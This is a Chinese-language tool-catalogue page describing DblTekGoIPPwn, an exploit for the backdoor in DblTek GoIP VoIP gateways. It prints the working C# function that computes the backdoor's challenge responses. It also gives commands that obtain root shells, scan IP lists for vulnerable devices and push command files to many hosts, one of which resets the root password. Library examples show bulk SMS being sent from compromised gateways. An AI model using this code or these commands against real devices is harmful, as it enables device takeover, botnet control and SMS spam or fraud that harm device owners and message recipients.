Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DblTekGoIPPwn — 用于检查 DblTek GoIP 的 IP 是否容易受到挑战-响应登录系统攻击、从系统发送短信、以僵尸网络风格执行远程命令以及生成挑战响应的工具。 | Kitploit
工具/GitHubGitHub/jacobmisirian/dbltekgoippwn
漏洞扫描器漏洞利用渗透测试命令与控制远程访问工具
GitHubjacobmisirian/dbltekgoippwn

DblTekGoIPPwn

用于检查 DblTek GoIP 的 IP 是否容易受到挑战-响应登录系统攻击、从系统发送短信、以僵尸网络风格执行远程命令以及生成挑战响应的工具。

查看仓库
642616年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

DblTekGoIPPwn

用于利用存在漏洞的 DblTek GoIP 设备中挑战响应系统的工具。可根据指定挑战生成响应,测试主机是否存在漏洞,在脆弱主机上执行命令,从主机发送短信,以及在任何脆弱主机上进入根 shell。

漏洞

2017 年 3 月 2 日,Trustwave 发布了安全研究人员在 DblTek GoIP VoIP 电话中发现的一个漏洞。该漏洞是固件中名为 'dbladm' 账户的后门。当用户在 telnet 提示符下输入此用户名时,系统会给出一个挑战,如果随后提供正确的响应,用户就能获得系统的根 shell。

这种挑战响应系统的问题在于,设备的安全性取决于生成响应的算法,而该算法已通过对 DblTek 提供的固件二进制文件进行逆向工程破解。利用此算法,可以在任何 DblTek GoIP 设备上获得根 shell。

原始文章:https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/

根据文章中提供的后门描述,我编写了我认为是该漏洞的首批利用代码之一。其核心自然是根据给定挑战生成响应的算法。以下是用 C# 编写的函数。

root@kitploit:~
static string ComputeResponse(string challengeStr)
{
    int challenge = Convert.ToInt32(challengeStr.Substring(1)); // 仅获取 'N' 之后的数字。

    string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // 执行一些无意义的 1337 操作。

    byte[] buffer = new byte[64];
    // 将字符串复制到缓冲区的前部。
    for (int i = 0; i < modified.Length; i++)
        buffer[i] = (byte)modified[i];

    var md5 = MD5.Create();
    byte[] hash = md5.ComputeHash(buffer); // 计算缓冲区的 MD5。

    StringBuilder sb = new StringBuilder(); // 保存结果。
    // 取 MD5 前六个字节的无填充十六进制值。
    for (int i = 0; i < 6; i++)
        sb.Append(hash[i].ToString("x"));

    return sb.ToString(); // 获利
}

DblTekGoIPPwn 命令行界面 (CLI)

运行 DblTekPwn 时不带参数将显示帮助信息。输出如下:

root@kitploit:~
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]

[MODE]:
-c --compute-response [CHALLENGE]         计算对给定挑战的响应。
-r --root-shell                           在脆弱主机上启动根 shell。
-s --send-commands    [COMMAND_FILE]      从文件向脆弱主机发送命令。
-t --test                                 测试主机并判断它们是否存在漏洞。
-h --help                                 显示此帮助并退出。

[HOSTS]:
-n --name             [IP]                指定单个 IP 地址。
-f --file             [IP_FILE]           指定包含 IP\nIP\nIP 的文件。

[OUTPUT]:
-o --output           [OUTPUT_FILE]       指定输出文件。默认为标准输出。

示例

在脆弱系统上获取根 shell

DblTekGoIPPwn 使得在任何脆弱系统上获取根 shell 变得简单。只需针对脆弱 IP 运行以下命令。

root@kitploit:~
DblTekPwn.exe --root-shell --name 192.168.1.1

你将看到类似以下的输出:

root@kitploit:~
Password: ***********

之后你就可以开始输入命令(没有 shell 提示符)。

计算挑战响应

假设你想计算对 GoIP 挑战 N1746203308 的响应。只需运行以下命令。

root@kitploit:~
DblTekPwn --compute-response N1746203308

输出将是响应:

root@kitploit:~
d6176d3aab2

检查 IP 列表

假设你想检查 list.txt 中的 IP 是否存在易受攻击的 GoIP,并将输出发送到 results.txt。首先确保 IP 格式为 ip:port(默认端口为 23),并且 IP 之间用换行符 \n 分隔。然后可以运行以下命令。

root@kitploit:~
DblTekPwn.exe --test --file list.txt --output results.txt

list.txt:

root@kitploit:~
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

results.txt:

root@kitploit:~
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

主机后的 False 或 True 表示该 IP 是否存在漏洞。

向 IP 列表发送命令

假设你在 cmds.txt 中有一系列命令(实际上是一系列 telnet 输入)要发送给 list.txt 中的 IP,并将输出发送到 results.txt。首先确保 IP 格式为 ip:port(默认端口为 23),并且 IP 和命令在各自的文件中都用换行符 \n 分隔。然后可以运行以下命令。

root@kitploit:~
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt

list.txt:

root@kitploit:~
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

cmds.txt:

root@kitploit:~
passwd root
toor
toor

exit

results.txt:

root@kitploit:~
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

主机后的 False 或 True 表示连接是否成功建立以及命令是否已发送。

使用 DblTekPwn.SMS 库

此 GitHub 仓库中的代码提供了从被入侵的 GoIP 发送 SMS(文本消息)的抽象。要使用此代码,请在应用程序中包含 DblTekPwn.exe 并添加以下 using 语句。

root@kitploit:~
using DblTekPwn.SMS

现在在你的代码中,你可以使用静态方法 SmsSender.SendSms。以下是一些示例。

从一个号码向一个号码发送短信

root@kitploit:~
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);

从多个号码向一个号码发送短信

大多数 GoIP 最多可内置 32 张 SIM 卡,允许黑客从所有这些线路发送短信。

root@kitploit:~
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);

从多个号码向多个号码发送短信

root@kitploit:~
strings[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
下载工具